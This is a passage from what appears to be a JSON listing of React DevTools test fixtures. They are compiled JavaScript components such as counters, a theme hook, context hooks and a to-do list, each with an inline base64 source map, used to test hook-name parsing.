sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      